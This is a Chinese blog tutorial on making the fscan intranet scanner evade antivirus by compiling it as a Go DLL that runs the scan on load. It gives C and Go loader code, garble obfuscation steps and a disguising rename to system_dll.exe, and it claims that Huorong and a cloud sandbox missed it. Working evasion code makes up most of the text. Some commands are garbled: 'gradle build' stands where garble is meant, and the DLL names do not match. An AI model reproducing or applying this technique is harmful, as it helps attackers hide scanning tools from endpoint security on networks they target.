作者 修订时间
wjlin0 2024-01-13 04:55:28

fscan免杀

前言

首次学习免杀,利用dll劫持的方式,利用微软的白名单机制,实现免杀。本章节代码已同步至github,项目地址: fscan

过程

准备fscan的源码。

git clone https://github.com/shadow1ng/fscan.git

将fsacn的源码中的main.go文件中的main函数如下,由于init函数,在go语言中,为包首次调用的时候会被执行;Go 编写的 DLL 被 C 程序调用时,init 函数会在 DLL 加载到内存时执行,而 main 函数通常不适用于 DLL 并且不会被执行。

package main

import "C"

import (
    "fmt"
    "time"

    "github.com/shadow1ng/fscan/Plugins"
    "github.com/shadow1ng/fscan/common"
)

//export DllCanUnloadNow
func DllCanUnloadNow() {}

//export DllGetClassObject
func DllGetClassObject() {}

//export DllRegisterServer
func DllRegisterServer() {}

//export DllUnregisterServer
func DllUnregisterServer() {}

func init() {
    start := time.Now()
    var Info common.HostInfo
    common.Flag(&Info)
    common.Parse(&Info)
    Plugins.Scan(Info)
    t := time.Now().Sub(start)
    fmt.Printf("[*] 扫描结束,耗时: %s\n", t)
}


func main(){}

编译 windows amd64 下的 dll

GOOS=windows GOARCH=amd64 CGO_ENABLED=1
go build -buildmode=c-shared -o fscan.dll ./cmd/fscan_dll/main.go

这里可以选择 cgo加载器,c加载器的代码如下:

// gcc -o fscan_load fscan_load.c

#include <stdio.h>
#include <windows.h>

int main() {
    HMODULE hDLL;
    hDLL = LoadLibrary("fscan.dll");

    if (hDLL != NULL) {
        // 定义函数指针类型
        typedef void (*FunctionType)();

        // 为每个导出函数创建一个函数指针
        FunctionType DllCanUnloadNow = (FunctionType)GetProcAddress(hDLL, "DllCanUnloadNow");
        FunctionType DllGetClassObject = (FunctionType)GetProcAddress(hDLL, "DllGetClassObject");
        FunctionType DllRegisterServer = (FunctionType)GetProcAddress(hDLL, "DllRegisterServer");
        FunctionType DllUnregisterServer = (FunctionType)GetProcAddress(hDLL, "DllUnregisterServer");

        // 调用每个函数(如果函数指针非空)
        if (DllCanUnloadNow) DllCanUnloadNow();
        if (DllGetClassObject) DllGetClassObject();
        if (DllRegisterServer) DllRegisterServer();
        if (DllUnregisterServer) DllUnregisterServer();

        // 卸载 DLL
        FreeLibrary(hDLL);
        printf("All functions executed successfully.\n");
    }
    else {
        printf("Failed to load DLL.\n");
    }

    return 0;
}

编写dll加载器,dll加载器的作用是将dll加载到内存中,然后调用dll中的init函数,实现免杀。

// gradle build -o fscan_loader_go.exe main.go
package main

import (
    "fmt"
    "syscall"
)

func main() {
    dll, err := syscall.LoadLibrary("fscan_go.dll")
    if err != nil {
        fmt.Printf("[-] Failed to load DLL: %s\n", err)
        return
    }

    defer func(handle syscall.Handle) {
        err := syscall.FreeLibrary(handle)
        if err != nil {
            fmt.Printf("[-] Failed to free DLL: %s\n", err)
        }
    }(dll)

    // 定义并尝试获取 DLL 中的函数
    dllCanUnloadNow, err := syscall.GetProcAddress(dll, "DllCanUnloadNow")
    // 判断err == nil 并且 dllCanUnloadNow != 0
    if err == nil && dllCanUnloadNow != 0 {
        _, _, err := syscall.SyscallN(dllCanUnloadNow, 0, 0, 0, 0)
        if err != 0 {
            fmt.Printf("[-] Failed to execute DllCanUnloadNow: %s\n", err)
        }
    }

    dllGetClassObject, err := syscall.GetProcAddress(dll, "DllGetClassObject")
    if err == nil && dllGetClassObject != 0 {
        _, _, err := syscall.SyscallN(dllGetClassObject, 0, 0, 0, 0)
        if err != 0 {
            fmt.Printf("[-] Failed to execute DllGetClassObject: %s\n", err)
        }
    }

    dllRegisterServer, err := syscall.GetProcAddress(dll, "DllRegisterServer")
    if err == nil && dllRegisterServer != 0 {
        _, _, err := syscall.SyscallN(dllRegisterServer, 0, 0, 0, 0)
        if err != 0 {
            fmt.Printf("[-] Failed to execute DllRegisterServer: %s\n", err)
        }
    }

    dllUnregisterServer, err := syscall.GetProcAddress(dll, "DllUnregisterServer")
    if err == nil && dllUnregisterServer != 0 {
        _, _, err := syscall.SyscallN(dllUnregisterServer, 0, 0, 0, 0)
        if err != 0 {
            fmt.Printf("[-] Failed to execute DllUnregisterServer: %s\n", err)
        }
    }

    fmt.Println("All functions executed successfully.")
}

使用go语言编译加载器, 需要使用gradle进行混淆,防止被杀软查杀。

go install mvdan.cc/garble@latest
GOOS=windows GOARCH=amd64 CGO_ENABLED=1
gradle build -o fscan_loader.exe ./cmd/fscan_loader/main.go

fscan.dllfscan_loader.exe放在同一目录下,运行fscan_loader.exe,即可实现免杀。

# 改个名字
mv fscan_loader.exe system_dll.exe
./system_dll.exe

结果

  • 火绒

image-20240113042901727

  • 微步云沙箱

image-20240113044447895

image-20240113044504534

参考

results matching ""

    No results matching ""